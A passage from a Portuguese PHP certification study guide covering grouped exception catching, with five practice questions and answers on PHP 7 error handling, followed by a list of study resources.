Fatal error: Cannot use 'Iterable' as class name as it is reserved in...


Manipulação de erros 340

Captura agrupada de exceções


Imagine que temos várias classes de manipulação de erros específicas para seu respectivo contexto,
que é o caso da classe MosturaException, LavagemException, FervuraException e MaturaExcep-
tion. Pode ser interessante agrupar os erros capturados. Ex.:

1 class MosturaException extends Exception{ /*...*/ }


2 class LavagemException extends Exception{ /*...*/ }
3 class FervuraException extends Exception{ /*...*/ }
4 class MaturaException extends Exception{ /*...*/ }
5
6 class Brassagem
7 {
8 public function operacao($etapa)
9 {
10 if(true){
11 throw new MosturaException;
12 }
13 else {
14 throw new LavagemException;
15 }
16 }
17 }
18
19 $producao = new Brassagem;
20 try {
21 $producao->operacao('mosto');
22 } catch (MosturaException $e) {
23 $msg_erro = "Etapa pendente";
24 } catch (LavagemException $e) {
25 $msg_erro = "Etapa pendente";
26 } catch (FervuraException $e) {
27 $msg_erro = "Etapa pendente";
28 } catch (MaturaException $e) {
29 $msg_erro = "Maturação incompleta";
30 }

Observe que a mensagem de erro ("Etapa pendente") é igual para MosturaException, LavagemEx-
ception e FervuraException e justifica simplificarmos o código encadeando as exceções com pipe,
agrupando-as dessa forma:
Manipulação de erros 341

1 try {
2 $producao->operacao('mosto');
3 } catch (MosturaException | LavagemException | FervuraException $e) {
4 $msg_erro = "Etapa pendente";
5 } catch (MaturaException $e) {
6 $msg_erro = "Maturação incompleta";
7 }

Simulado
1.

Qual a saída do seguinte código PHP?


<?php
try{
class MinhaExcecao extends Exception {};
try {
throw new MinhaExcecao;
}
catch(Exception $e) {
echo "1:";
throw $e;
}
catch(MinhaExcecao $e) {
echo "2:";
throw $e;
}
}
catch(Exception $e) {
echo get_class($e);
}
?>

A: 2:MinhaExcecao
B: 1:
C: 1:MinhaExcecao
D: 2:
E: Parser error, try cannot be followed by multiple catch
F: 1:Exception

2.
Manipulação de erros 342

O PHP 7.0 trouxe mudanças significativas no tratamento de erros, principalmente \


relacionado a interface Throwable.
Como está organizada a atual hierarquia de classes/interfaces?

A:
Throwable
|
|--Error
|
|--Exception

B:
Error
|
|--Throwable
|
|--Exception

C:
Throwable
|
|--Exception
|
|--Error

D:
Error
|
|--Exception
|
|--Throwable

3.

Dado o seguinte código:


<?php
function precoTotal($parcela, $vezes){
return $parcela * $vezes;
}

try {
Manipulação de erros 343

precoTotal(12);
}
catch (Exception $e) {
echo "A";
}
catch (ArgumentCountError $ace) {
echo "B";
}
catch (DivisionByZeroError $dbze) {
echo "C";
}

Qual será a saída depois de execução?

A:C
B:A
C:B

4.

Das afirmativas abaixo, qual delas é FALSA?

A: Throwable é uma interface interna do PHP


B: Classes customizadas podem implementar Throwable diretamente
C: Classes podem estender Error e Exception
D: Throwable pode ser estendida para adição de novos métodos

5.

Em versões anteriores ao PHP 7.0 havia um bug que permitia encadear várias decla\
rações default dentro de um mesmo switch, assumindo como fluxo de execução padrã\
o o último default estabelecido.
Considere o seguinte trecho de código:

$a = 0;
switch(true){
default:
$a += 1;
break;
default:
Manipulação de erros 344

$a += 2;
break;
}
echo $a;

Qual a saída do código acima?

A: 0
B: 1
C: 2
D: 3
E: Fatal error: Switch statements may only contain one default clause

Respostas do simulado
1.
Dentro do try mais interno, observe que o código instancia deliberadamente um objeto de
MinhaExcecao.

Segundo a comportamento descrito na documentação oficial⁹⁴, o primeiro catch (da classe pai
Exception) é quem se encarrega de tratar o referido erro, mostrando 1:, disparando o erro
novamente para o catch posterior.
Ao exibir o nome da classe, através da função get_class(), daí obtém-se MinhaExcecao que é o
nome da classe filha.
Portanto a resposta correta é C: 1:MinhaExcecao.
2.
Resposta é C:

Throwable
|
|--Exception
|
|--Error

Veja a hierarquia completa em: https://gist.github.com/dshafik/4763f5497013745d01b8#file-extension-


hierarchy.
⁹⁴https://secure.php.net/manual/pt_BR/language.exceptions.extending.php
Manipulação de erros 345

3.
O PHP 7.1 incorporou exceções com a classe ArgumentCountError que trata problemas de discre-
pância de argumentos perante a assinatura definida em funções e métodos.
Ao tentar (try) executar a função precoTotal(12) o catch de ArgumentCountError é disparado pois
falta um parâmetro, escrevendo B na tela. Portanto alternativa C é a correta.
4.
A alternativa correta é B, pois classes customizadas NÃO podem implementar Throwable dire-
tamente. Caso queira estender Throwable é preciso criar uma interface filha que implemente
(implements) essa primeira interface através da classe filha de Error ou Exception. Ex.:

1 interface MeuThrowable extends Throwable


2 {
3 //Customizações
4 }
5 class MeuErro extends Error implements MeuThrowable
6 {
7 //Customizações
8 }

5.
Antes do advento do PHP 7.0 poderíamos executar esse código resultando no valor 2, sem
provocar erros. Hoje o PHP identifica as múltiplas declarações default e dispara um erro fatal,
interrompendo imediatamente a execução. Portanto a alternativa E é a resposta correta.
Recursos extras
Além deste guia, há uma série de outros recursos que lhe ajudarão na conquista da certificação PHP:

• Simulados
– uCertify⁹⁵
– BrainBench⁹⁶
– CertBest⁹⁷
– ZendExam⁹⁸
– Vcampus⁹⁹
– My PHP Quiz¹⁰⁰
– Assessmentee¹⁰¹
– AIO TestKing¹⁰²
– Quiz desenvolvido por Taylor Lopes¹⁰³
• Apps
– PHP quiz ZCE versão Android¹⁰⁴ e versão iOS¹⁰⁵ por Fabricio Bedeschi
– PHP Quiz Lite¹⁰⁶ (gratuito)
– PHP Questions¹⁰⁷
– PHP Expert Lite¹⁰⁸ (gratuito)
– PHP Expert¹⁰⁹
• Vídeo-aulas
– CBT Nuggets – Zend Web Development PHP 5 ZCE¹¹⁰
• Guias e resumos
– Zend – PHP 5.3 Study Guide (gratuito)
– PHP Certification Study Guide 2017-PHP¹¹¹ (baseado na versão 7.1 do PHP)
⁹⁵http://www.ucertify.com/certifications/Zend/zend-php-5-3-certification.html
⁹⁶http://www.brainbench.com/xml/bb/common/testcenter/taketest.xml?testId=2862
⁹⁷http://www.certbest.com
⁹⁸http://www.zendexam.com
⁹⁹http://vcampus.co/quizzes/php
¹⁰⁰http://www.myphpquiz.com
¹⁰¹http://www.assessmentee.com/test/module/PHP
¹⁰²http://www.aiotestking.com/zend/category/exam-200-550-zend-certified-php-developer/
¹⁰³http://taylorlopes.com/util/quiz/php/
¹⁰⁴https://play.google.com/store/apps/details?id=com.quiz.php
¹⁰⁵https://itunes.apple.com/us/app/php-quiz-zce/id954188281?ls=1&mt=8
¹⁰⁶http://itunes.apple.com/br/app/php-quiz-lite/id397103578?mt=8
¹⁰⁷http://itunes.apple.com/br/app/php-questions/id407222202?mt=8
¹⁰⁸http://itunes.apple.com/br/app/phpexpert-lite/id545290910?mt=8
¹⁰⁹http://itunes.apple.com/br/app/php-expert/id531106572?mt=8
¹¹⁰http://www.cbtnuggets.com/it-training-videos/series/zend-web-development-php-5zce
¹¹¹http://www.zend.com/en/services/certification/php-certification-study-guide
Recursos extras 347

– Guia não oficial¹¹²


– Guia de estudos + simulados de Albert Dieter Ritzhaupt¹¹³
• Livros
– Zend Certification Preparation Pack ZCE 5.5¹¹⁴ da autora Lorna Mitchell
– Zend Certification Study Guide¹¹⁵ (3ª edição, fevereiro/2015) do Davey Shafik e Ben
Ramsey, publicado pela php[architect]
– Publicação em francês Préparation à la certification Zend Certified PHP Engineer
(ZCPE)¹¹⁶ de autoria do meu amigo Cyrille Grandval e Julien Charpentier
– Zend Certified Engineer - Descomplicando a certificação PHP¹¹⁷ por Matheus Marabesi
e Michael Douglas
– Rumo à Certificação PHP¹¹⁸ por Kinn Coelho Julião kinncj@php.net
– PHP 7 Zend Certification Study Guide¹¹⁹ por Andrew Beak
• Cursos presenciais e a distância
– Certificamp¹²⁰ – acampamento de estudos da certificação PHP
• Sites de apoio
– Guia para certificação PHP por Alef Castelo¹²¹
– Apresentação “Preparando-se para a prova da Certificação Zend PHP 5.3” por Klaus
Silveira¹²²
– ZCE - Study por Gabriel Heming¹²³
– Examples to study for Zend Certification PHP Engineer - ZCPE por Rodolfo Bandeira¹²⁴
– “Vantagens de ser um ZCE” por Renato Mendes Figueiredo¹²⁵
– Site oficial da Zend sobre as certificações PHP¹²⁶
– SoloLearn¹²⁷
– Guía de PHP - por Diego Lázaro (conteúdo em espanhol)¹²⁸
– PHP Certification Guidance por Snehil Kamal¹²⁹
– Como obter sua certificação PHP Zend por Taylor Lopes¹³⁰
¹¹²http://php-guide.evercodelab.com
¹¹³http://www.aritzhaupt.com/resource/php_ebook/chapter1/index.htm
¹¹⁴https://leanpub.com/zce
¹¹⁵http://www.phparch.com/books/zend-php-5-certification-study-guide-3rd-edition/
¹¹⁶http://www.editions-eni.fr/livres/php-preparation-a-la-certification-zend-certified-php-engineer-zcpe/.15366a24a0851e3be050606936f69dc9.
html
¹¹⁷https://www.casadocodigo.com.br/products/livro-certificacao-php
¹¹⁸https://leanpub.com/rumoacertificaophp
¹¹⁹http://www.apress.com/br/book/9781484232453
¹²⁰http://www.certificamp.com
¹²¹https://alefcastelo.github.io/guia-para-certificacao-php/
¹²²https://speakerdeck.com/klaussilveira/preparando-se-para-a-prova-da-certificacao-zend-php-53
¹²³https://bitbucket.org/gabrielheming/zce-study
¹²⁴https://github.com/rodolfobandeira/php-certification-studies
¹²⁵https://medium.com/@renatomefi/vantagens-de-ser-um-zce-7a7d9b203aa2#.duix0ommh
¹²⁶http://www.zend.com/en/services/certification
¹²⁷https://www.sololearn.com/Course/PHP/
¹²⁸https://diego.com.es/certificacion-php
¹²⁹http://zendphpcert.blogspot.com
¹³⁰http://taylorlopes.com/como-obter-sua-certificacao-php-zend/
Recursos extras 348

– Zend PHP Certification - My Study Notes¹³¹


– Certificação PHP – Início da Maratona por Diogo Cata Preta¹³²
– Guia de sobrevivência de um ZCPE/ZCE por Dorian Neto¹³³
– Baralho de estudos em formato Anki por Einstein Xavier¹³⁴
• Lista de discussão
– Rumo à Certificação PHP¹³⁵

Importante salientar que 90% de todo o material citado aqui é em língua inglesa.

¹³¹http://zend-php-certification.com
¹³²http://www.diogocatapreta.com.br/certificacao-php-inicio-da-maratona/
¹³³http://dorianneto.com.br/certificacao/guia-de-sobrevivencia-de-um-zcpe-zce/
¹³⁴https://drive.google.com/open?id=0Bww0PIjye2viNkRFTURNVHh5SGM
¹³⁵http://www.rumoacertificacaophp.com

Você também pode gostar